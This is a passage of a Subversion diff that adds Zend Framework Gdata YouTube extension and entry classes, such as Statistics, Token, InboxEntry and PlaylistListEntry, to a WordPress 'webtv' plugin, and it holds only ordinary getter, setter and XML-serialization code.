+     * @return int The value associated with this attribute.
+     */
+    public function getLastWebAccess()
+    {
+        return $this->_lastWebAccess;
+    }
+
+    /**
+     * Set the value for this element's lastWebAccess attribute.
+     *
+     * @param int $value The desired value for this attribute.
+     * @return Zend_Gdata_YouTube_Extension_Statistics The element being 
+     * modified.
+     */
+    public function setLastWebAccess($value)
+    {
+        $this->_lastWebAccess = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's favoriteCount attribute.
+     *
+     * @return int The value associated with this attribute.
+     */
+    public function getFavoriteCount()
+    {
+        return $this->_favoriteCount;
+    }
+
+    /**
+     * Set the value for this element's favoriteCount attribute.
+     *
+     * @param int $value The desired value for this attribute.
+     * @return Zend_Gdata_YouTube_Extension_Statistics The element being 
+     * modified.
+     */
+    public function setFavoriteCount($value)
+    {
+        $this->_favoriteCount = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     *
+     * @return string
+     */
+    public function __toString()
+    {
+        return 'View Count=' . $this->_viewCount .
+            ' VideoWatchCount=' . $this->_videoWatchCount .
+            ' SubscriberCount=' . $this->_subscriberCount .
+            ' LastWebAccess=' . $this->_lastWebAccess .
+            ' FavoriteCount=' . $this->_favoriteCount;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Status.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Status.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Status.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:status element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Status extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'status';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Token.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Token.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Token.php	(revision 44)
@@ -0,0 +1,69 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:token element used by the YouTube data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Token extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootNamespace = 'yt';
+    protected $_rootElement = 'token';
+
+    /**
+     * Constructs a new Zend_Gdata_YouTube_Extension_Token object.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        return $element;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Uploaded.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Uploaded.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Uploaded.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:uploaded element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Uploaded extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'uploaded';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Username.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Username.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Username.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:username element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Username extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'username';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/VideoId.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/VideoId.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/VideoId.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:videoid element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_VideoId extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'videoid';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/InboxEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/InboxEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/InboxEntry.php	(revision 44)
@@ -0,0 +1,280 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Media_Entry
+ */
+require_once 'Zend/Gdata/Media/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension_Rating
+ */
+require_once 'Zend/Gdata/Extension/Rating.php';
+
+/**
+ * @see Zend_Gdata_Extension_Comments
+ */
+require_once 'Zend/Gdata/Extension/Comments.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Statistics
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Statistics.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Description
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Description.php';
+
+
+/**
+ * Represents the YouTube message flavor of an Atom entry
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_InboxEntry extends Zend_Gdata_Media_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_YouTube_InboxEntry';
+
+    /**
+     * The gd:comments element of this entry.
+     *
+     * @var Zend_Gdata_Extension_Comments
+     */
+    protected $_comments = null;
+
+    /**
+     * The gd:rating element of this entry.
+     *
+     * @var Zend_Gdata_Extension_Rating
+     */
+    protected $_rating = null;
+
+    /**
+     * The yt:statistics element of this entry.
+     *
+     * @var Zend_Gdata_YouTube_Extension_Statistics
+     */
+    protected $_statistics = null;
+
+    /**
+     * The yt:description element of this entry.
+     *
+     * @var Zend_Gdata_YouTube_Extension_Description
+     */
+    protected $_description = null;
+
+    /**
+     * Creates a subscription entry, representing an individual subscription
+     * in a list of subscriptions, usually associated with an individual user.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_description != null) {
+            $element->appendChild(
+                $this->_description->getDOM($element->ownerDocument));
+        }
+        if ($this->_rating != null) {
+            $element->appendChild(
+                $this->_rating->getDOM($element->ownerDocument));
+        }
+        if ($this->_statistics != null) {
+            $element->appendChild(
+                $this->_statistics->getDOM($element->ownerDocument));
+        }
+        if ($this->_comments != null) {
+            $element->appendChild(
+                $this->_comments->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gd') . ':' . 'comments':
+                $comments = new Zend_Gdata_Extension_Comments();
+                $comments->transferFromDOM($child);
+                $this->_comments = $comments;
+                break;
+            case $this->lookupNamespace('gd') . ':' . 'rating':
+                $rating = new Zend_Gdata_Extension_Rating();
+                $rating->transferFromDOM($child);
+                $this->_rating = $rating;
+                break;
+            case $this->lookupNamespace('yt') . ':' . 'description':
+                $description = new Zend_Gdata_YouTube_Extension_Description();
+                $description->transferFromDOM($child);
+                $this->_description = $description;
+                break;
+            case $this->lookupNamespace('yt') . ':' . 'statistics':
+                $statistics = new Zend_Gdata_YouTube_Extension_Statistics();
+                $statistics->transferFromDOM($child);
+                $this->_statistics = $statistics;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Get the yt:description
+     *
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_Extension_Description|null
+     */
+    public function getDescription()
+    {
+        if ($this->getMajorProtocolVersion() == 2) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The getDescription ' .
+                ' method is only supported in version 1 of the YouTube ' .
+                'API.');
+        } else {
+            return $this->_description;
+        }
+    }
+
+    /**
+     * Sets the yt:description element for a new inbox entry.
+     *
+     * @param Zend_Gdata_YouTube_Extension_Description $description The
+     *        description.
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_InboxEntry Provides a fluent interface
+     */
+    public function setDescription($description = null)
+    {
+        if ($this->getMajorProtocolVersion() == 2) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The setDescription ' .
+                ' method is only supported in version 1 of the YouTube ' .
+                'API.');
+        } else {
+            $this->_description = $description;
+            return $this;
+        }
+    }
+
+    /**
+     * Get the gd:rating element for the inbox entry
+     *
+     * @return Zend_Gdata_Extension_Rating|null
+     */
+    public function getRating()
+    {
+        return $this->_rating;
+    }
+
+    /**
+     * Sets the gd:rating element for the inbox entry
+     *
+     * @param Zend_Gdata_Extension_Rating $rating The rating for the video in
+     *        the message
+     * @return Zend_Gdata_YouTube_InboxEntry Provides a fluent interface
+     */
+    public function setRating($rating = null)
+    {
+        $this->_rating = $rating;
+        return $this;
+    }
+
+    /**
+     * Get the gd:comments element of the inbox entry.
+     *
+     * @return Zend_Gdata_Extension_Comments|null
+     */
+    public function getComments()
+    {
+        return $this->_comments;
+    }
+
+    /**
+     * Sets the gd:comments element for the inbox entry
+     *
+     * @param Zend_Gdata_Extension_Comments $comments The comments feed link
+     * @return Zend_Gdata_YouTube_InboxEntry Provides a fluent interface
+     */
+    public function setComments($comments = null)
+    {
+        $this->_comments = $comments;
+        return $this;
+    }
+
+    /**
+     * Get the yt:statistics element for the inbox entry
+     *
+     * @return Zend_Gdata_YouTube_Extension_Statistics|null
+     */
+    public function getStatistics()
+    {
+        return $this->_statistics;
+    }
+
+    /**
+     * Sets the yt:statistics element for the inbox entry
+     *
+     * @param Zend_Gdata_YouTube_Extension_Statistics $statistics The
+     *        statistics element for the video in the message
+     * @return Zend_Gdata_YouTube_InboxEntry Provides a fluent interface
+     */
+    public function setStatistics($statistics = null)
+    {
+        $this->_statistics = $statistics;
+        return $this;
+    }
+
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/InboxFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/InboxFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/InboxFeed.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Media_Feed
+ */
+require_once 'Zend/Gdata/Media/Feed.php';
+
+/**
+ * @see Zend_Gdata_YouTube_InboxEntry
+ */
+require_once 'Zend/Gdata/YouTube/InboxEntry.php';
+
+/**
+ * The YouTube inbox feed list flavor of an Atom Feed with media support
+ * Represents a list of individual inbox entries, where each contained entry is
+ * a message.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_InboxFeed extends Zend_Gdata_Media_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_YouTube_InboxEntry';
+
+    /**
+     * Creates an Inbox feed, representing a list of messages,
+     * associated with an individual user.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/MediaEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/MediaEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/MediaEntry.php	(revision 44)
@@ -0,0 +1,80 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Media
+ */
+require_once 'Zend/Gdata/Media.php';
+
+/**
+ * @see Zend_Gdata_Media_Entry
+ */
+require_once 'Zend/Gdata/Media/Entry.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_MediaGroup
+ */
+require_once 'Zend/Gdata/YouTube/Extension/MediaGroup.php';
+
+/**
+ * Represents the YouTube flavor of a Gdata Media Entry
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_MediaEntry extends Zend_Gdata_Media_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_YouTube_MediaEntry';
+
+    /**
+     * media:group element
+     *
+     * @var Zend_Gdata_YouTube_Extension_MediaGroup
+     */
+    protected $_mediaGroup = null;
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('media') . ':' . 'group':
+            $mediaGroup = new Zend_Gdata_YouTube_Extension_MediaGroup();
+            $mediaGroup->transferFromDOM($child);
+            $this->_mediaGroup = $mediaGroup;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/PlaylistListEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/PlaylistListEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/PlaylistListEntry.php	(revision 44)
@@ -0,0 +1,299 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_YouTube
+ */
+require_once 'Zend/Gdata/YouTube.php';
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension_FeedLink
+ */
+require_once 'Zend/Gdata/Extension/FeedLink.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_Description
+ */
+require_once 'Zend/Gdata/YouTube/Extension/Description.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_PlaylistId
+ */
+require_once 'Zend/Gdata/YouTube/Extension/PlaylistId.php';
+
+/**
+ * @see Zend_Gdata_YouTube_Extension_CountHint
+ */
+require_once 'Zend/Gdata/YouTube/Extension/CountHint.php';
+
+/**
+ * Represents the YouTube video playlist flavor of an Atom entry
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_PlaylistListEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_YouTube_PlaylistListEntry';
+
+    /**
+     * Nested feed links
+     *
+     * @var array
+     */
+    protected $_feedLink = array();
+
+    /**
+     * Description of this playlist
+     *
+     * @deprecated Deprecated as of version 2 of the YouTube API.
+     * @var Zend_Gdata_YouTube_Extension_Description
+     */
+    protected $_description = null;
+
+    /**
+     * Id of this playlist
+     *
+     * @var Zend_Gdata_YouTube_Extension_PlaylistId
+     */
+    protected $_playlistId = null;
+    
+    /**
+     * CountHint for this playlist.
+     *
+     * @var Zend_Gdata_YouTube_Extension_CountHint
+     */
+    protected $_countHint = null;
+
+    /**
+     * Creates a Playlist list entry, representing an individual playlist
+     * in a list of playlists, usually associated with an individual user.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_description != null) {
+            $element->appendChild($this->_description->getDOM($element->ownerDocument));
+        }
+        if ($this->_countHint != null) {
+            $element->appendChild($this->_countHint->getDOM($element->ownerDocument));
+        }
+        if ($this->_playlistId != null) {
+            $element->appendChild($this->_playlistId->getDOM($element->ownerDocument));
+        }
+        if ($this->_feedLink != null) {
+            foreach ($this->_feedLink as $feedLink) {
+                $element->appendChild($feedLink->getDOM($element->ownerDocument));
+            }
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('yt') . ':' . 'description':
+            $description = new Zend_Gdata_YouTube_Extension_Description();
+            $description->transferFromDOM($child);
+            $this->_description = $description;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'countHint':
+            $countHint = new Zend_Gdata_YouTube_Extension_CountHint();
+            $countHint->transferFromDOM($child);
+            $this->_countHint = $countHint;
+            break;
+        case $this->lookupNamespace('yt') . ':' . 'playlistId':
+            $playlistId = new Zend_Gdata_YouTube_Extension_PlaylistId();
+            $playlistId->transferFromDOM($child);
+            $this->_playlistId = $playlistId;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'feedLink':
+            $feedLink = new Zend_Gdata_Extension_FeedLink();
+            $feedLink->transferFromDOM($child);
+            $this->_feedLink[] = $feedLink;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Sets the description relating to the playlist.
+     *
+     * @deprecated Deprecated as of version 2 of the YouTube API.
+     * @param Zend_Gdata_YouTube_Extension_Description $description The description relating to the video
+     * @return Zend_Gdata_YouTube_PlaylistListEntry Provides a fluent interface
+     */
+    public function setDescription($description = null)
+    {
+        if ($this->getMajorProtocolVersion() >= 2) {
+            $this->setSummary($description);
+        } else {
+            $this->_description = $description;
+        }
+        return $this;
+    }
+
+    /**
+     * Returns the description relating to the video.
+     *
+     * @return Zend_Gdata_YouTube_Extension_Description  The description 
+     *         relating to the video
+     */
+    public function getDescription()
+    {
+        if ($this->getMajorProtocolVersion() >= 2) {
+            return $this->getSummary();
+        } else {
+            return $this->_description;
+        }
+    }
+
+    /**
+     * Returns the countHint relating to the playlist.
+     *
+     * The countHint is the number of videos on a playlist.
+     * 
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_Extension_CountHint  The count of videos on
+     *         a playlist.
+     */
+    public function getCountHint()
+    {
+        if (($this->getMajorProtocolVersion() == null) ||
+            ($this->getMajorProtocolVersion() == 1)) {
+            require_once 'Zend/Gdata/App/VersionException.php';
+            throw new Zend_Gdata_App_VersionException('The yt:countHint ' . 
+                'element is not supported in versions earlier than 2.');
+        } else {
+            return $this->_countHint;
+        }
+    }
+
+    /**
+     * Returns the Id relating to the playlist.
+     * 
+     * @throws Zend_Gdata_App_VersionException
+     * @return Zend_Gdata_YouTube_Extension_PlaylistId  The id of this playlist.
+     */
+    public function getPlaylistId()
